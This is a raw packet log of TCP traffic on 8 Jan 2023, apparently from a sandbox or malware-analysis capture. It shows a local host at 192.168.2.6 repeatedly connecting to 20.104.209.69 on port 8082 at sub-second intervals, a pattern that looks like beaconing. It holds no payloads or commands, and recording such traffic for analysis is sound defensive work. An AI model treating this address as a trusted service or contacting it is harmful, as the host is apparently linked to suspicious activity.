Jan 8, 2023 16:08:12.564033985 CET	49868	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.678724051 CET	8082	49868	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.698620081 CET	49869	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.812879086 CET	8082	49869	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.813766003 CET	49869	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.814584017 CET	49869	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.930841923 CET	8082	49869	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.935275078 CET	8082	49869	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.935317039 CET	8082	49869	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.935324907 CET	8082	49869	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:12.935610056 CET	49869	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:12.961189032 CET	49869	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.075797081 CET	8082	49869	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.087505102 CET	49870	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.201917887 CET	8082	49870	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.202634096 CET	49870	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.206224918 CET	49870	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.320213079 CET	8082	49870	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.324553967 CET	8082	49870	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.324589968 CET	8082	49870	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.324604988 CET	8082	49870	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.324791908 CET	49870	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.346426964 CET	49870	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.460329056 CET	8082	49870	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.480099916 CET	49871	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.594202995 CET	8082	49871	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.594397068 CET	49871	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.595042944 CET	49871	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.708985090 CET	8082	49871	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.713860989 CET	8082	49871	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.713898897 CET	8082	49871	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.713958025 CET	8082	49871	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.714071989 CET	49871	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.714119911 CET	49871	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.722939968 CET	49871	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.836893082 CET	8082	49871	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.857454062 CET	49872	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.971662045 CET	8082	49872	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:13.971895933 CET	49872	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:13.974025011 CET	49872	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.088219881 CET	8082	49872	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.091489077 CET	8082	49872	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.091532946 CET	8082	49872	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.091553926 CET	8082	49872	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.091588020 CET	49872	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.091626883 CET	49872	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.112417936 CET	49872	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.226663113 CET	8082	49872	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.247837067 CET	49873	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.362309933 CET	8082	49873	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.362510920 CET	49873	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.363117933 CET	49873	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.476954937 CET	8082	49873	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.482229948 CET	8082	49873	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.482287884 CET	8082	49873	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.482315063 CET	8082	49873	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.482395887 CET	49873	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.485043049 CET	49873	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.496053934 CET	49873	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.610200882 CET	8082	49873	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.638438940 CET	49874	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.752878904 CET	8082	49874	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.752998114 CET	49874	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.761229038 CET	49874	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.875536919 CET	8082	49874	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.879746914 CET	8082	49874	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.879798889 CET	8082	49874	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.879822016 CET	8082	49874	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:14.879842043 CET	49874	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.879888058 CET	49874	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.879888058 CET	49874	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:14.903316021 CET	49874	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.018619061 CET	8082	49874	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.039791107 CET	49875	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.154170036 CET	8082	49875	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.159293890 CET	49875	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.159930944 CET	49875	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.273940086 CET	8082	49875	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.277968884 CET	8082	49875	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.278027058 CET	8082	49875	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.278095961 CET	8082	49875	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.278251886 CET	49875	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.278481007 CET	49875	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.296730042 CET	49875	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.411107063 CET	8082	49875	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.442647934 CET	49876	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.558684111 CET	8082	49876	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.558917046 CET	49876	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.560224056 CET	49876	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.674169064 CET	8082	49876	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.678720951 CET	8082	49876	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.678776026 CET	8082	49876	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.678869963 CET	49876	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.678915977 CET	49876	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.680438042 CET	8082	49876	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.680530071 CET	49876	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.691740036 CET	49876	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.806073904 CET	8082	49876	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.825983047 CET	49877	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.940366030 CET	8082	49877	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:15.943403006 CET	49877	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:15.944256067 CET	49877	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.058329105 CET	8082	49877	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.062809944 CET	8082	49877	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.062886000 CET	8082	49877	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.062911034 CET	8082	49877	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.063070059 CET	49877	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.063070059 CET	49877	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.077568054 CET	49877	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.191782951 CET	8082	49877	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.213301897 CET	49878	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.328016043 CET	8082	49878	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.328264952 CET	49878	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.328811884 CET	49878	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.442802906 CET	8082	49878	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.447330952 CET	8082	49878	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.447419882 CET	8082	49878	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.447458029 CET	8082	49878	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.447482109 CET	49878	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.447561979 CET	49878	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.449398994 CET	49878	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.463763952 CET	49878	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.578090906 CET	8082	49878	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.603554964 CET	49879	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.719059944 CET	8082	49879	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.719232082 CET	49879	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.719861984 CET	49879	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.833849907 CET	8082	49879	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.838840961 CET	8082	49879	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.838881016 CET	8082	49879	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.838902950 CET	8082	49879	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:16.839015007 CET	49879	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.839066982 CET	49879	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.848735094 CET	49879	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:16.963022947 CET	8082	49879	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.001936913 CET	49880	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.116806030 CET	8082	49880	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.116910934 CET	49880	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.117400885 CET	49880	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.231525898 CET	8082	49880	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.235529900 CET	8082	49880	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.235604048 CET	8082	49880	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.235650063 CET	8082	49880	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.235722065 CET	49880	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.235785007 CET	49880	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.248788118 CET	49880	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.362859964 CET	8082	49880	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.383753061 CET	49881	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.497992992 CET	8082	49881	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.498116016 CET	49881	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.573997021 CET	49881	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.688071966 CET	8082	49881	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.692478895 CET	8082	49881	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.692509890 CET	8082	49881	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.692608118 CET	49881	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.692608118 CET	49881	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.692662954 CET	8082	49881	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.692789078 CET	49881	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.702855110 CET	49881	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.816884041 CET	8082	49881	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.843672991 CET	49882	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.958484888 CET	8082	49882	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:17.958647966 CET	49882	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:17.965189934 CET	49882	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.079396963 CET	8082	49882	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.083970070 CET	8082	49882	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.084017038 CET	8082	49882	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.084076881 CET	49882	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.084153891 CET	49882	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.084255934 CET	8082	49882	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.084342957 CET	49882	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.094448090 CET	49882	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.208498955 CET	8082	49882	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.231318951 CET	49883	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.346457958 CET	8082	49883	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.350182056 CET	49883	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.350773096 CET	49883	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.465096951 CET	8082	49883	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.469137907 CET	8082	49883	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.469199896 CET	8082	49883	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.469233036 CET	8082	49883	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.469329119 CET	49883	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.469369888 CET	49883	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.493247032 CET	49883	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.615710020 CET	8082	49883	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.616875887 CET	49884	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.732144117 CET	8082	49884	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.732278109 CET	49884	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.732970953 CET	49884	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.847213030 CET	8082	49884	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.851489067 CET	8082	49884	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.851541042 CET	8082	49884	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.851711988 CET	49884	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.851835012 CET	8082	49884	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.853498936 CET	49884	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.864962101 CET	49884	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:18.979185104 CET	8082	49884	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:18.998739958 CET	49885	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.113568068 CET	8082	49885	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.113837004 CET	49885	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.115215063 CET	49885	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.229182959 CET	8082	49885	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.233375072 CET	8082	49885	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.233403921 CET	8082	49885	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.233511925 CET	8082	49885	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.233524084 CET	49885	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.233566999 CET	49885	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.233566999 CET	49885	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.246053934 CET	49885	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.360672951 CET	8082	49885	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.393697023 CET	49886	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.508184910 CET	8082	49886	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.508409977 CET	49886	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.509170055 CET	49886	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.623023033 CET	8082	49886	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.627127886 CET	8082	49886	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.627175093 CET	8082	49886	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.627196074 CET	8082	49886	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.627358913 CET	49886	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.627441883 CET	49886	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.640099049 CET	49886	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.754429102 CET	8082	49886	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.782255888 CET	49887	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.896622896 CET	8082	49887	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:19.896781921 CET	49887	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:19.897556067 CET	49887	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.011447906 CET	8082	49887	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.015621901 CET	8082	49887	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.015662909 CET	8082	49887	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.015686989 CET	8082	49887	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.015779972 CET	49887	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.015826941 CET	49887	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.038395882 CET	49887	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.152854919 CET	8082	49887	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.166707039 CET	49888	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.281339884 CET	8082	49888	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.281606913 CET	49888	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.282457113 CET	49888	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.396548033 CET	8082	49888	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.401066065 CET	8082	49888	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.401122093 CET	8082	49888	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.401141882 CET	8082	49888	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.401299000 CET	49888	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.410846949 CET	49888	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.525028944 CET	8082	49888	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.589799881 CET	49889	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.704246044 CET	8082	49889	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.704351902 CET	49889	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.704857111 CET	49889	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.818837881 CET	8082	49889	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.822829962 CET	8082	49889	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.822879076 CET	8082	49889	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.822899103 CET	8082	49889	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.822953939 CET	49889	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.822953939 CET	49889	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.833208084 CET	49889	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:20.947232008 CET	8082	49889	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:20.961674929 CET	49890	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.076210976 CET	8082	49890	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.076839924 CET	49890	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.079024076 CET	49890	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.193164110 CET	8082	49890	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.197499037 CET	8082	49890	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.197530985 CET	8082	49890	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.197554111 CET	8082	49890	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.197606087 CET	49890	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.197606087 CET	49890	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.208298922 CET	49890	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.322792053 CET	8082	49890	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.362034082 CET	49891	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.476881027 CET	8082	49891	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.476999044 CET	49891	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.477838039 CET	49891	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.591926098 CET	8082	49891	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.596832991 CET	8082	49891	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.596910954 CET	8082	49891	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.596976042 CET	49891	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.596991062 CET	8082	49891	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.597033978 CET	49891	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.597739935 CET	49891	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.608372927 CET	49891	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.722402096 CET	8082	49891	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.747031927 CET	49892	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.861640930 CET	8082	49892	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.861924887 CET	49892	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.862559080 CET	49892	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.976763010 CET	8082	49892	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.980494976 CET	8082	49892	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.980585098 CET	8082	49892	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.980916977 CET	8082	49892	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:21.981014013 CET	49892	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.981014013 CET	49892	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.981014013 CET	49892	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:21.993765116 CET	49892	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.108191013 CET	8082	49892	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.136475086 CET	49893	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.250864983 CET	8082	49893	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.251097918 CET	49893	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.251754999 CET	49893	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.365868092 CET	8082	49893	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.370240927 CET	8082	49893	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.370311022 CET	8082	49893	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.370456934 CET	49893	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.370456934 CET	49893	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.370517015 CET	8082	49893	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.370585918 CET	49893	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.386883974 CET	49893	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.501070976 CET	8082	49893	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.533381939 CET	49894	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.647752047 CET	8082	49894	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.650202036 CET	49894	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.650719881 CET	49894	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.764633894 CET	8082	49894	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.770085096 CET	8082	49894	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.770128012 CET	8082	49894	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.770154953 CET	8082	49894	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.770211935 CET	49894	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.770283937 CET	49894	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.788600922 CET	49894	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:22.903302908 CET	8082	49894	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:22.940865993 CET	49895	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.055471897 CET	8082	49895	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.055679083 CET	49895	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.134052992 CET	49895	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.248413086 CET	8082	49895	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.252953053 CET	8082	49895	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.253027916 CET	8082	49895	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.253066063 CET	8082	49895	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.253135920 CET	49895	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.253196001 CET	49895	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.254746914 CET	49895	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.359540939 CET	49895	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.474782944 CET	8082	49895	20.104.209.69	192.168.2.6
